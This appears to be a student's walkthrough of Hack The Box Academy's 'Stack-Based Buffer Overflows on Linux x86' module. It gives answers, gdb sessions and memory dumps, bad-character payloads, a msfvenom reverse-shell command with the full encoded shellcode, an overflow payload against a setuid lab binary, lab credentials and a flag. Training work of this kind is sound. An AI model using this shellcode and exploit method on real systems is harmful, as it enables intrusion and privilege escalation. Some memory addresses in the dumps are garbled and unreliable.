

Stack-Based Buffer Overflows on Linux x86:

Link to challenge: <https://academy.hackthebox.com/module/31>

(log in required)

Class: Tier 0 | Medium | Offensive

## Fundamentals

### Stack-Based Buffer Overflow:

**Question:** At which address in the "main" function is the "bowfunc" function gets called?

**Answer:** 0x000005aa

**Method:** in the section guide presentation of the disassembled main function – we can see that the call to bowfunc was made in the address '0x000005aa' of the 'main' function:

```
Dump of assembler code for function main:
0x00000582 <+0>:    lea     0x4(%esp),%ecx
0x00000586 <+4>:    and     $0xffffffff0,%esp
0x00000589 <+7>:    pushl   -0x4(%ecx)
0x0000058c <+10>:   push    %ebp
0x0000058d <+11>:   mov     %esp,%ebp
0x0000058f <+13>:   push    %ebx
0x00000590 <+14>:   push    %ecx
0x00000591 <+15>:   call    0x450 <__x86.get_pc_thunk.bx>
0x00000596 <+20>:   add     $0x1a3e,%ebx
0x0000059c <+26>:   mov     %ecx,%eax
0x0000059e <+28>:   mov     0x4(%eax),%eax
0x000005a1 <+31>:   add     $0x4,%eax
0x000005a4 <+34>:   mov     (%eax),%eax
0x000005a6 <+36>:   sub     $0xc,%esp
0x000005a9 <+39>:   push    %eax
0x000005aa <+40>:   call    0x54d <bowfunc>
0x000005af <+45>:   add     $0x10,%esp
```

\*note - the binary info in the section's guide details the binary itself in the target machine, so identification of the address in the section guide is equivalent to identification of the address in the binary itself using GDB or any other tool, same for any other pieces of information obtained from the binary.

\*

# Exploit

## Take Control of EIP:

**Question:** Examine the registers and submit the address of EBP as the answer.

**Answer:** 0x55555555

**Method:** lets look the registers info shown in the section's guide:

```
(gdb) info registers
eax          0x1  1
ecx          0xffffd6c0  -10560
edx          0xffffd06f  -12177
ebx          0x55555555  1431655765
esp          0xffffcfd0  0xffffcfd0
ebp          0x55555555  0x55555555  # <---- EBP overwritten
esi          0xf7fb5000  -134524928
edi          0x0  0
eip          0x55555555  0x55555555  # <---- EIP overwritten
eflags      0x10286  [ PF SF IF RF ]
cs          0x23  35
ss          0x2b  43
ds          0x2b  43
es          0x2b  43
fs          0x0  0
gs          0x63  99
```

## Determine the Length for Shellcode:

**Question:** How large can our shellcode theoretically become if we count NOPS and the shellcode size together? (Format: 00 Bytes)

**Answer:** 250 bytes

**Method:** from the section's guide:

1. We need a total of 1040 bytes to get to the EIP.
2. Here, we can use an additional 100 bytes of NOPS
3. 150 bytes for our shellcode.



### Determine the Length for Shellcode

```
Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
NOPS = "\x90" * 100
Shellcode = "\x44" * 150
EIP = "\x66" * 4
```

The NOPS (no operation instruction) size is 100 bytes, and the shellcode is 150 bytes. Together – 250 bytes.

## Identification of Bad Characters:

**Question:** Find all bad characters that change or interrupt our sent bytes' order and submit them as the answer (e.g., format: \x00\x11).

**Answer:** \x00\x09\x0a\x20

**Method:** In here deducing the correct information from the binary description in the section guide won't be suffice, we will have to enter the target machine. we will use the provided credentials 'htb-student:HTB\_@cademy\_stdnt!':

```
ssh htb-student@<target-IP>
```

to enter the target machine.

in it – we have the bow binary:

```
htb-student@nixbof32:~$ ls
bow
```

Lets analyze it with gdb:

```
gdb ./bow
```

```
htb-student@nixbof32:~$ gdb ./bow
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./bow...(no debugging symbols found)...done.
(gdb) █
```

Now, based on previous sections – we know the function that does the heavy lifting (input handling) is 'bowfunc' – we will set breakpoint in it:

```
break bowfunc
```

```
(gdb) break bowfunc  
Breakpoint 1 at 0x551
```

Now, we will start the binary execution in GDB with the following payload:

```
$(python -c 'print "\x55" * (1040 - 254 - 4) +  
"".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')
```

The payload will generate a string of all bytes from 0 to 255 (including) – meaning from /0x00 to /0xff (/0x00/0x01/0x02...../0xfe/0xff):

```
run $(python -c 'print "\x55" * (1040 - 254 - 4) +  
"".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')
```

```
(gdb) run $(python -c 'print "\x55" * (1040 - 254 - 4) + "".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')  
Starting program: /home/htb-student/bow $(python -c 'print "\x55" * (1040 - 254 - 4) + "".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')  
/bin/bash: warning: command substitution: ignored null byte in input  
Breakpoint 1, 0x56555551 in bowfunc ()
```

The execution of course, halted in the breakpoint.

Now, we will examine the memory – we expect to see a string of '0x55', then our payload (/0x00/0x01/0x02...../0xfe/0xff), and at the end – 4 times '0x66':

```
x/1100xb $esp+500
```

```
(gdb) x/1100xb $esp+500  
0xfffffd368: 0x00 0x00 0x00 0x64 0x16 0x8b 0x59 0x2d  
0xfffffd370: 0x65 0x81 0x61 0x36 0x37 0x29 0x53 0x77  
0xfffffd378: 0x3a 0x07 0x20 0x69 0x36 0x38 0x36 0x00  
0xfffffd380: 0x00 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x68  
0xfffffd388: 0x74 0x62 0x2d 0x73 0x74 0x75 0x64 0x65  
0xfffffd390: 0x6e 0x74 0x2f 0x62 0x6f 0x77 0x00 → 0x55  
0xfffffd398: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55  
0xfffffd3a0: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
```

The string of '0x55' starts after the marked red arrow.

\*

\*

```

0xffffd688:  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55
0xffffd690:  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55
0xffffd698:  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55  0x55
0xffffd6a0:  0x55  0x55  0x55  0x55  0x55  0x01  0x02  0x03
0xffffd6a8:  0x04  0x05  0x06  0x07  0x08  0x00  0x0b  0x0c
0xffffd6b0:  0x0d  0x0e  0x0f  0x10  0x11  0x12  0x13  0x14
0xffffd6b8:  0x15  0x16  0x17  0x18  0x19  0x1a  0x1b  0x1c
0xffffd6c0:  0x1d  0x1e  0x1f  0x00  0x21  0x22  0x23  0x24
---Type <return> to continue, or q <return> to quit---
0xffffd6c8:  0x25  0x26  0x27  0x28  0x29  0x2a  0x2b  0x2c

```

Our payload starts here

\*

\*

```

0xffffd780:  0xd5  0xd6  0xd7  0xd8  0xd9  0xda  0xdb  0xdc
0xffffd788:  0xe5  0xe6  0xe7  0xe8  0xe9  0xea  0xeb  0xec
0xffffd790:  0xed  0xee  0xef  0xf0  0xf1  0xf2  0xf3  0xf4
0xffffd798:  0xf5  0xf6  0xf7  0xf8  0xf9  0xfa  0xfb  0xfc
0xffffd7a0:  0xfd  0xfe  0xff  0x66  0x66  0x66  0x66  0x00
0xffffd7a8:  0x4c  0x53  0x5f  0x43  0x4f  0x4c  0x4f  0x52
0xffffd7b0:  0x53  0x3d  0x72  0x73

```

And the payload ends here, and the string of '0x66' start here.

Now, as the payload is very long, the entirety of it will be not shown here, only the relevant part:

```

0xffffd698:  0x55  0x55  0x55  0x55  0x55  0x55  0x01  0x02  0x03
0xffffd6a0:  0x04  0x05  0x06  0x07  0x08  0x00  0x0b  0x0c
0xffffd6b0:  0x0d  0x0e  0x0f  0x10  0x11  0x12  0x13  0x14
0xffffd6b8:  0x15  0x16  0x17  0x18  0x19  0x1a  0x1b  0x1c
0xffffd6c0:  0x1d  0x1e  0x1f  0x00  0x21  0x22  0x23  0x24
---Type <return> to continue, or q <return> to quit---
0xffffd6c8:  0x25  0x26  0x27  0x28  0x29  0x2a  0x2b  0x2c

```

In the red markings, are the bytes '0x00' and '0x0a' – forbidden bytes which are not accepted by shellcodes.

In the cyan markings – are the binary un-accepted bytes (bad characters) – '0x09' and '0x20'. And they are interpreted in the memory as '0x00'.

Which makes the final result as '\x00\x09\x0a\x20' as un-accepted characters.



## Generating Shellcode:

**Question:** Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x000000)

**Answer:** 0x21000

**Method:** continuing from the previous question – on gdb, we run the command:

```
info proc all
```

to view process info

```
(gdb) info proc all
process 2154
cmdline = '/home/htb-student/bow'
cwd = '/home/htb-student'
exe = '/home/htb-student/bow'
Mapped address spaces:

      Start Addr   End Addr       Size     Offset objfile
      0x56555000   0x56556000     0x1000      0x0  /home/htb-student/bow
      0x56556000   0x56557000     0x1000      0x0  /home/htb-student/bow
```

\*

\*

Hit 'enter' (return) on prompt to continue..

```
---Type <return> to continue, or q <return> to quit---
      0xf7fd6000   0xf7ffc000     0x26000      0x0  /lib32/ld-2.27.so
      0xf7ffc000   0xf7ffd000     0x1000     0x25000  /lib32/ld-2.27.so
      0xf7ffd000   0xf7ffe000     0x1000     0x26000  /lib32/ld-2.27.so
      0xffffdd00   0xfffffe00     0x21000      0x0  [stack]
Name:   bow
Umask: 0002
State:  t (tracing stop)
Tpid:  2154
```

And on field 'stack' – we get the size.

# Skills Assessment

## Skills Assessment - Buffer Overflow:

**Question:** Determine the file type of "leave\_msg" binary and submit it as the answer.

**Answer:** ELF 32-bit

**Method:** First, we will enter the target machine using the provided credentials 'htb-student:HTB\_@cademy\_stdnt!':

```
ssh htb-student@<target-IP>
```

in it – we see 2 files:

```
htb-student@nixbof32skills:~$ ls
leave_msg  msg.txt
```

Lets examine the 'leave\_msg' file using the 'file' command:

```
file leave_msg
```

```
htb-student@nixbof32skills:~$ file leave_msg
leave_msg: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8694607c1c3a3fb3814a144fb014da53d3f3e49e, not stripped
```

**Question:** How many bytes in total must be sent before reaching EIP?

**Answer:** 2060

**Method:** For that, we will need to run 'leave\_msg' with big specialized payload, with GDB.

We will start with creating the payload – for that we will use the tool '[pattern\\_create.rb](#)', which is designated to create specialized patterned payloads.

The tool can be found in the pwnbox in the path '/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb'.

We will need to create pattern in length long enough to induce segmentation fault in the execution – for our case – payload of length 2100 bytes will suffice:



```
/usr/share/metasploit-  
framework/tools/exploit/pattern_create.rb -l 2100 >  
pattern.txt
```

The payload was outputted to a file 'pattern.txt':

```
[eu-academy-2]-[10.10.15.30]-[htb-ac-1099135@htb-6rdiumjiha]-[~]  
[*]$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100 > pattern.txt
```

Lets read it:

```
[eu-academy-2]-[10.10.15.30]-[htb-ac-1099135@htb-6rdiumjiha]-[~]  
[*]$ cat pattern.txt  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1  
Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3  
Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5  
*  
*  
Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9  
Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1  
Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9
```

Ok, we have the payload ready.

Lets start the 'leave\_msg' execution with gdb, we will use the '-q' flag to suppress intro message:

```
gdb -q ./leave_msg
```

```
htb-student@nixbof32skills:~$ gdb -q ./leave_msg  
Reading symbols from ./leave_msg...(no debugging symbols found)...done.  
(gdb)
```

Now, we will run the binary with the created payload:

```
run $(python -c "print  
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa....<SNIP>....Cq7Cq8Cq9Cr0Cr1Cr2C  
r3Cr4Cr5Cr6Cr7Cr8Cr9'")
```

\*most of the payload was snipped out due to length. \*

```
(gdb) run $(python -c "print 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9")
---Type <return> to continue, or q <return> to quit---
Program received signal SIGSEGV, Segmentation fault.
0x37714336 in ?? ()
```

In the red mark we can see the segmentation fault – overflow of the allocated memory (in this case – the stack), and in the cyan mark – we can see the current value of the instruction pointer register (EIP) - 0x37714336.

We take the EIP value, and with the tool '[pattern\\_offset.rb](#)' – located in '`/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`' in the pwnbox – we can use it with determine the offset of the EIP, meaning the bytes in total that must be sent before reaching EIP:

```
/usr/share/metasploit-
framework/tools/exploit/pattern_offset.rb -q 0x37714336
```

```
[eu-academy-2]-[10.10.15.30]-[htb-ac-1099135@htb-6rdiumjiha]-[~]
[*]$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336
[*] Exact match at offset 2060
```

The way the tools works together – is that the payload somewhere overruns the EIP register, and the 'pattern\_offset' can determine the required offset by the overrun EIP value.

Meaning 'normal' patyloads like 'print '\x55' \* 2200' (220 bytes of 'x55') will not work.

**Question:** Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x00000)

**Answer:** 0x22000

**Method:** we will run

```
info proc all
```

and look for the stack:

```
(gdb) info proc all
process 1978
warning: target file /proc/1978/cmdline contained unexpected null characters
cmdline = '/home/htb-student/leave_msg'
cwd = '/home/htb-student'
exe = '/home/htb-student/leave_msg'
Mapped address spaces:

      Start Addr    End Addr       Size     Offset objfile
      0x56555000    0x56556000     0x1000        0x0 /home/htb-student/leave_msg
      0x56556000    0x56557000     0x1000        0x0 /home/htb-student/leave_msg
```

\*

\*

```
      0xf77dc000    0xf77fe000     0x2000        0x0 /lib32/ld-2.27.so
      0xf77fc000    0xf7ffd000     0x1000     0x25000 /lib32/ld-2.27.so
      0xf7ffd000    0xf7ffe000     0x1000     0x26000 /lib32/ld-2.27.so
      0xffffdc000   0xfffffe000    0x2000     0x0 [stack]
Name:    leave_msg
Umask:   0002
State:   t (tracing stop)
Tid:     1978
```

**Question:** Read the file "/root/flag.txt" and submit the content as the answer.

**Answer:** HTB{wmcaJe4dEFZ3pbgDEpToJxFwvTEP4t}

**Method:** First, let's set the listener, we will run it on the target machine, listening on port 4444:

```
nc -lnvp 4444
```

```
htb-student@nixbof32skills:~$ nc -lnvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
```

Now, before we generate the reverse shell payload using msfvenom, we need to determine bad characters.

We will do it in the same method we did in 'Identification of Bad Characters' section.

For that, first we need to determine what is the function that handles the input, we will use 'objdump -d' for that:

```
objdump -d leave_msg
```

```
htb-student@nixbof32skills:~$ objdump -d leave_msg

leave_msg:      file format elf32-i386


Disassembly of section .init:

00000474 <_init>:
474:  53                push    %ebx
```

\*

\*

```
0000068d <leavemsg>:
68d:  55                push    %ebp
68e:  89 e5             mov     %esp,%ebp
690:  53                push    %ebx
```

The function is 'leavemsg'.

Now, let's identify the bad characters which should not be in our shellcode – first let's run (or re-run) the 'leave\_msg' with gdb, and set breakpoint in 'leavemsg':

```
break leavemsg
```

```
htb-student@nixbof32skills:~$ gdb -q ./leave_msg
Reading symbols from ./leave_msg...(no debugging symbols found)...done.
(gdb) break leavemsg
Breakpoint 1 at 0x691
```

And run the bad characters payload:

```
run $(python -c 'print "\x55" * (2060 - 256) +
"".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')
```

notice in here we generate buffer of (2060-256), where 2060 is the amount of bytes required to get to the EIP, determined in the first question. And 256 is the amount of bad characters. At the end – are the 4 bytes of representing the EIP, marked by x66.

```
(gdb) run $(python -c 'print "\x55" * (2060 - 256) + "".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 256) + "".join([chr(x) for x in range(0, 256)]) + "\x66" * 4')
/bin/bash: warning: command substitution: ignored null byte in input
Breakpoint 1, 0x56555691 in leavemsg ()
```

Then let's view the memory (2060 bytes + some extra to see some of the bytes before and after the relevant bytes, we will view 2015 bytes):

```
x/2150xb $esp+500
```

```
(gdb) x/2150xb $esp+500
0xffffcf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf58: 0x00 0x00 0x00 0xf3 0x9b 0x4c 0xac 0x2e
0xffffcf60: 0xae 0xca 0x6c 0x35 0xbb 0x8f 0x94 0x66
0xffffcf68: 0xd7 0x47 0x47 0x69 0x36 0x38 0x36 0x00
0xffffcf70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffcf78: 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x68 0x74
0xffffcf80: 0x62 0x2d 0x73 0x74 0x75 0x64 0x65 0x6e
0xffffcf88: 0x74 0x2f 0x6c 0x65 0x61 0x76 0x65 0x5f
0xffffcf90: 0x6d 0x73 0x67 0x00 0x55 0x55 0x55 0x55
0xffffcf98: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
```

(the red arrow marks the buffer beginning)



\*

\*

```
0x1111d690: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
---Type <return> to continue, or q <return> to quit---
0xffffd698: 0x55 0x55 0x55 0x55 0x55 0x55 0x55 0x55
0xffffd6a0: 0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0xffffd6a8: 0x00 0x0b 0x0c 0x0d 0x0e 0x0f 0x10 0x11
0xffffd6b0: 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19
0xffffd6b8: 0x1a 0x1b 0x1c 0x1d 0x1e 0x1f 0x00 0x21
0xffffd6c0: 0x22 0x23 0x24 0x25 0x26 0x27 0x28 0x29
0xffffd6c8: 0x2a 0x2b 0x2c 0x2d 0x2e 0x2f 0x30 0x31
0xffffd6d0: 0x32 0x33 0x34 0x35 0x36 0x37 0x38 0x39
0xffffd6d8: 0x3a 0x3b 0x3c 0x3d 0x3e 0x3f 0x40 0x41
```

In this screenshot the bad characters start – we can see that the bad characters are: '\x00\x09\x0a\x20'

\*

\*

```
0x1111d790: 0x12 0x13 0x14 0x15 0x16 0x17 0x18 0x19
0xffffd798: 0xfa 0xfb 0xfc 0xfd 0xfe 0xff 0x66 0x66
0xffffd7a0: 0x66 0x66 0x00 0x4c 0x53 0x5f 0x43 0x4f
0xffffd7a8: 0x4c 0x4f 0x52 0x53 0x3d 0x72
```

\*end of bad characters, start of EIP, marked by the 0x66 for the next 4 bytes.

Now that we have the bad characters, lets construct the shellcode:

```
msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1
lport=4444 --format c --arch x86 --platform linux --bad-
chars "\x00\x09\x0a\x20" --out shellcode
```

```
[eu-academy-2]-[10.10.15.30]-[htb-ac-1099135@htb-17cxmq0csi]-[~]
[*]$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=4444 --format c --arch x86 --platform linux --bad-char
s "\x00\x09\x0a\x20" --out shellcode
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode
```

We have the shellcode, with payload size of 95 bytes.



Lets read it:

```
cat shellcode
```

```
➜ [★]$ cat shellcode
unsigned char buf[] =
"\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9"
"\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b"
"\xfe\x52\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\xc6\x01\x51"
"\x13\x5f\x2a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46"
"\x7b\x0e\xdb\x59\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb"
"\x84\xbd\x3c\x6b\xc4\x55\xd1\x43\x9a\xcd\x45\xb3\x73\x6f"
"\xff\x42\x68\x3d\xac\xdd\x8e\x71\x59\x13\xd0";
```

```
\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb1
\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x52
\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\xc6\x01\x51\x13\x5f\x2a
\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x59
\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x6b\xc4
\x55\xd1\x43\x9a\xcd\x45\xb3\x73\x6f\xff\x42\x68\x3d\xac\xdd
\x8e\x71\x59\x13\xd0
```

Now that we have the payload, we need to determine the return address – the address where the buffer (the '0x55') ends and the payload starts.

For that, we will need to run the binary with the payload in gdb:

```
run $(python -c 'print "\x55" * (2060 - 95) +
"\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb
1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x5
2\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\xc6\x01\x51\x13\x5f\x2
a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x5
9\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x6b\xc
4\x55\xd1\x43\x9a\xcd\x45\xb3\x73\x6f\xff\x42\x68\x3d\xac\x
d\x8e\x71\x59\x13\xd0" + "\x66" * 4')
as you notice – the buffer (\x55) size is the offset size to the EIP (2060),
subtracted with the payload size (95).
```

```
(gdb) run $(python -c 'print "\x55" * (2060 - 95) + "\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x52\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\x66\x01\x51\x13\x5f\x2a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x59\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x6b\xc4\x55\xd1\x43\x9a\xcd\x45\x3c\x73\x6f\xff\x42\x68\x3d\xac\xdd\x8e\x71\x59\x13\xd0" + "\x66" * 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-student/leave_msg $(python -c 'print "\x55" * (2060 - 95) + "\xd9\xc1\xba\xca\x11\xc3\x8b\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x12\x83\xe8\xfc\x31\x50\x13\x03\x9a\x02\x21\x7e\x2b\xfe\x52\x62\x18\x43\xce\x0f\x9c\xca\x11\x7f\x66\x01\x51\x13\x5f\x2a\x6d\xd9\xdf\x03\xeb\x18\xb7\xec\x0b\xdb\x46\x7b\x0e\xdb\x59\x27\x87\x3a\xe9\xb1\xc7\xed\x5a\x8d\xeb\x84\xbd\x3c\x6b\xc4\x55\xd1\x43\x9a\xcd\x45\x3c\x73\x6f\xff\x42\x68\x3d\xac\xdd\x8e\x71\x59\x13\xd0" + "\x66" * 4')
```

Lets view the memory:

```
x/2150xb $esp+500
```

```
